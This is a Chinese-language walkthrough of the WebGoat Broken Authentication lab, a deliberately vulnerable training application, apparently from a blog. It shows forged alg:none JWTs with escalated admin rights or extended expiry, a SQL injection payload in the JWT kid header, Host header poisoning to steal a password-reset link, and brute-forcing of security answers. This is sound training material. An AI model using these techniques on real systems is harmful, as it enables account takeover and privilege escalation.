【webGoat】Broken Authentication

目录

Broken Authentication(中断的身份验证)

一、Authentication Bypasses(绕过身份验证)

第2题:

二、JWT tokens

第3题:

第5题:

第7题:

第8题:

第10题:

第11题:

三、Password reset(密码重置)

启动webwolf

第2题:

第4题:

第5题:

第6题: 


Broken Authentication(中断的身份验证)

一、Authentication Bypasses(绕过身份验证)

第2题:

随便提交,然后抓到包

发送到repeater进行研究

secQuestion0和secQuestion1

如果改为2,3的话(任何可能不存在的),没有对应的问题和答案

可能输入null=null,或者输入什么都是对的

改后返回数据包为true

 

二、JWT tokens

第3题:

直接使用JWT在线解密工具

用户名为

user



第5题:

这个垃圾桶是重置的意思

 

想尝试2个方法

1、通过切换用户,将其他用户的权限通过JWT提升为admin(失败)

2、执行删除操作,以admin权限进行 (成功)


方法一(失败)

点击切换为角色Tom

并抓包,其中一个包中发现了token

 JWT解密后

"admin": "false",要将其改为true

避免爆破,直接将其改为{ “alg”: “none”}

base64编码:

{

"alg": "none"
}

ewoKImFsZyI6ICJub25lIgp9

{
"iat": 1665554118,
"admin": "true",
"user": "Tom"
}

ewoiaWF0IjogMTY2NTU1NDExOCwKImFkbWluIjogInRydWUiLAoidXNlciI6ICJUb20iCn0=

(提示:编码时,别带空格,不然最后会这样) 

组合(要去掉=,还要加.):

ewoKImFsZyI6ICJub25lIgp9.ewoiaWF0IjogMTY2NTU1NDExOCwKImFkbWluIjogInRydWUiLAoidXNlciI6ICJUb20iCn0.

只改JWT,失败

 头部删掉后,但还是失败


方法二(成功)

点击垃圾箱,并抓包,改JWT

ewrCoCAiYWxnIjogIm5vbmUiCn0.ewogICJpYXQiOiAxNjY1NTU0MTE4LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

 然后这题就绿了,完成了



第7题:



第8题:

爆破密钥



第10题:

题意为:自己买东西,让Tom支付

根据提示找到已经失效的token

 

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

 

加密方法改为none

base64编码:

{

"alg": "none"
}

ewoKImFsZyI6ICJub25lIgp9

exp是时间戳,在这个基础上推迟几十秒

1664698210(这位结束时间,最好在现在的后面2分钟)

我这里是过关后截图的

base64加密

{
"iat": 1526131411,
"exp": 1664698210,
"admin": "false",
"user": "Tom"
}

ewoiaWF0IjogMTUyNjEzMTQxMSwKImV4cCI6IDE2NjQ2OTgyMTAsCiJhZG1pbiI6ICJmYWxzZSIsCiJ1c2VyIjogIlRvbSIKfQ==

组合起来(删除=,加上.)

ewoKImFsZyI6ICJub25lIgp9.ewoiaWF0IjogMTUyNjEzMTQxMSwKImV4cCI6IDE2NjQ2OTgyMTAsCiJhZG1pbiI6ICJmYWxzZSIsCiJ1c2VyIjogIlRvbSIKfQ.

点击checkout后,抓到数据包

发送到repeater

将JWT插入到Authorization后面部分

 



第11题:

(参考的大佬的方法)

点击,删除Tom,抓包

并发送到repeater

eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

1、kid没有防御SQL注入,存在注入点

'; select 'MQ==' from jwt_keys --

2、改变username

Tom

3、改时间戳

1618905304改为现在以后的时间戳

1664703610

3、SQL注入查询的结果会作为签名算法的秘钥来对header和payload进行加密

1

将改后的JWT填上去返回true了

 

三、Password reset(密码重置)

启动webwolf

webwolf出点问题了(在powershell下,解决方法好像是需要将编码方法引起来)

 java -Dfile.encoding=UTF-8 -jar webwolf-8.2.2.jar

(在管理员命令提示符下成功了)

点击进行启动webwolf页面

并使用webGoat账号进行登陆



第2题:

测试webwolf是否可用

使用自己的用户名+@webgoat.org

 收到了新密码

新密码登陆

 

 



第4题:

会提示用户是否存在

然后对存在的用户进行爆破

(颜色可能是英文,可能是中文)

爆破就那些个颜色,没啥难搞的

tom

purple



第5题:



第6题: 

先尝试重置自己的密码

 点击link

fcc02a5f-2c90-4178-974f-048ed485640c可能是身份

 尝试修改Tom密码

再发送邮件

抓包,并发送到repeater

修改Host访问本地的webwolf发邮件

webwolf抓到链接

复制后面的身份验证凭证

(替换重置自己身份的那个URL的身份信息)

9112825a-e642-4eaa-96ad-233e422696cb

 

 登陆成功

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值